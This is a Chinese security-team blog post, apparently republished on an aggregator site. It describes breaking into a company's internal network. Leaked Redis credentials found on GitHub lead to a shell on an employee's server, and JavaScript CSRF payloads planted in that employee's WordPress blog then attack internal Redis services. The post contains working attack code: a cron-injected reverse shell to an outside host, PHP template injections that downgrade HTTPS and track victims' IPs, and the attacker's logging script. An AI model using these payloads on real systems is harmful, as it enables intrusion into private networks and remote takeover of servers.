github & CSRF
Posted ChaMd5安全团队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了github & CSRF相关的知识,希望对你有一定的参考价值。
hello~
Lily,Lucy,Tom,Jack~
二狗子,李铁柱,王翠花~
你们可爱的小编已上线
你们肯定想我啦对不对
今天的推送
是一片正经的文章哦
我发誓~哈哈哈
敲黑板,划重点咯
github泄露到水坑攻击并利用CSRF
Getshell组合入企业内网的案例
From ChaMd5安全团队核心成员 blueice
1. 突破点之Github信息泄漏
根据目标企业的一些信息搜索Github,找到一处配置信息泄漏。
如图所示有两个redis配置信息上面的为外网机器下面的为企业内网IP。试着redis写入cron来getshell外网的机器
…….
当然顺利getshell
但是遗憾的是这个外网机器是某一个第三方VPS 而不属于该企业,也就是这个外网机器是该企业的员工即该github用户的个人测试服务器。
继续翻该服务器发现有wordpress博客系统,为水坑攻击提供了环境
2. 准备水坑攻击和CSRF攻击语句
我们假设该员工在企业办公内网访问自己的博客这样我们直接构造一个攻击内网服务器的CSRF代码并嵌入到博客网页里
这里选择内网的redis CSRF攻击因为redis在内网中的分布很广而且因为redis良好的容错性前后不管是否语句错误只要遇到正确的语句就会执行因此可以利用JS进行http请求来攻击内网的redis服务
这里用multipart/form-data表单的方式来构造payload
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","authtest123"+"\n"+"flushall"+"\n"+"configset dir /var/spool/cron/"+"\n"+"config set dbfilename root"+"\n"+'set1 "\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.1.1.1/80800>&1\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://1.1.1.1:6379",true);
xmlHttp.send(formData);
</script>
用这种方式的原因是每条redis命令间需要换行因此用常规的post请求或在http header头上构造是没用的换行符没有意义
如图每条命令间都是显式的换行分割的
当这个请求包发送到redis后会一行一行的执行错误的命令执行失败正确的命令则执行成功
所以说redis的兼容是挺强大的执行错误后依然会尝试执行后面的语句
不过很可惜这个博客是https的所以无法在https站内异步请求http资源
3. 解决https问题
多次尝试绕过无果后想到一个自我感觉最佳的方案
在nginx.conf上添加http站点的设置并指向同一个博客目录 /var/www/html/blog
然后写header.php 和footer.php
header.php
<?php
if($_SERVER['SERVER_PORT'] == 443){
if(file_get_contents("http://1.1.1.1/111.php?ip=".$_SERVER['REMOTE_ADDR'])==0){
header("Location:http://www.blog.com".$_SERVER['REQUEST_URI']);
exit();
}
}
if($_SERVER['SERVER_PORT'] == 80){
if(file_get_contents("http://1.1.1.1/222.php?ip=".$_SERVER['REMOTE_ADDR'])==1){
header("Location:https://www.blog.com".$_SERVER['REQUEST_URI']);
exit();
}
}
?>
footer.php
<?php
if($_SERVER['SERVER_PORT'] == 80){
print <<<EOT
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","authtest123"+"\\n"+"flushall"+"\\n"+"configset dir /var/spool/cron/"+"\\n"+"config set dbfilename root"+"\\n"+'set1 "\\\\n\\\\n*/1 * * * * /bin/bash -i >& /dev/tcp/1.1.1.1/80800>&1\\\\n\\\\n"'+"\\n"+"save"+"\\n"+"quit");
xmlHttp.open("POST","http://1.1.1.1:6379",true);
xmlHttp.send(formData);
</script>
EOT;
echo "<imgsrc='http://1.1.1.1/111.php?c=1&ip=".$_SERVER['REMOTE_ADDR']."' border='0'style='display:none;'/>";
echo "<imgsrc='http://1.1.1.1/222.php?c=1&ip=".$_SERVER['REMOTE_ADDR']."'border='0' style='display:none;'/>";
}
?>
把这两个内容分别嵌入到博客模版里的header.php和footer.php文件里以便博主访问哪个页面都能触发上面的操作
攻击者的服务器 111.php && 222.php
<?php
$ip = base64_encode($_GET['ip']);
$f = fopen('list2.txt','r');
$contents =fread($f,filesize('list2.txt'));
fclose($f);
if(strpos($contents,$ip)!==false){
echo '1';
}
else{
if($_GET['c']==1){
$f = fopen('list2.txt','a');
fwrite($f,$ip."||");
fclose($f);
}
echo '0';
}
?>
所以整个流程就是博主访问https站点,然后后端判断是请求了443端口于是先判断客户端ip是否是第一次访问,如果是第一次访问则302跳转到http站点,接下来后端判断请求了80端口于是判断客户端ip是否是第一次访问,如果不是第一次访问则302跳转到https站点这里因为是第一次访问所以放行,然后到footer.php里,判断请求了80端口,于是输出js攻击代码和两个img标签,利用这个img标签写入客户端ip到远程txt文件里,用前端请求写入的原因是,防止博主的客户端未来得及解析js攻击代码又重新刷新了一次网页,这样其实在上一次请求中后端已经写入了ip到远程文件里,因此下一次就不输出js攻击代码了
(恕小编智商不够。。我也不知道断句有没有对。。。)
整个流程概括就是https 降级到http并输出js代码然后继续访问任意页面重新升到https 以后一直用https访问并且确保了js代码一定会解析成功后再写入ip到远程文件
该方案还是有明显的缺陷中间会访问一次http站点不过对于常规的程序员的安全意识来说察觉几率不是很大
如果花点时间精心构造的话察觉几率会更加缩小
4. 收集内网redis服务
重返github继续搜索该企业内网redis服务
并把这些内网ip全部构造到博客ajax请求里
5. 等待员工在企业内网访问自己的博客
……..
耐心的等待2周
成功反弹内网shell到攻击者服务器
PS
防止泄露企业信息本文章主要以文字为主
*版权所有 转载请注明出处*
你看你看
我就说了这个是一片相当正经的文章
你看我一整篇都没出来冒泡是不是
其实我也想插两句嘴什么的
可是
看不懂 :(
但是!
你们懂就好啦
么么哒~
想了解哪方面的都可以告诉我们哟~
欢迎各位大牛指点 欢迎各位大牛投稿
(撒花)
投稿至:admin@chamd5.org
么么哒~
ChaMd5的小八卦全在这里哟~比心❤
............................ChaMd5................................
悄悄的告诉你
关注会有小惊喜
以上是关于github & CSRF的主要内容,如果未能解决你的问题,请参考以下文章
GitHub & Bitbucket & GitLab & Coding 的对比分析